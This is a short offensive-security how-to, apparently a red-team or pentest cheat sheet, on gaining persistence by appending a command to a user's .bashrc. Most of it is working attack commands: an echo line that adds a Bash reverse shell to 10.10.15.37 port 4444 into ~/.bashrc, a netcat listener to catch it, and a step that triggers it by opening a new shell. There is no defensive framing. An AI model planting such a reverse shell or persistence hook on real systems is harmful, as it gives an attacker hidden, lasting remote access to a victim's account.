The .bashrc file is commonly executed when a user opens an interactive Bash shell.
If an attacker appends a command to .bashrc, the command will execute whenever that user starts a new interactive shell.
- Identify a writable Bash startup file
- Append the persistence command
- Open a new shell session
- Verify command execution
Append a command to .bashrc:
echo "/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.37/4444 0>&1' &" >> ~/.bashrc
Start a listener:
nc -lvnp 4444
Trigger execution by opening a new shell:
bash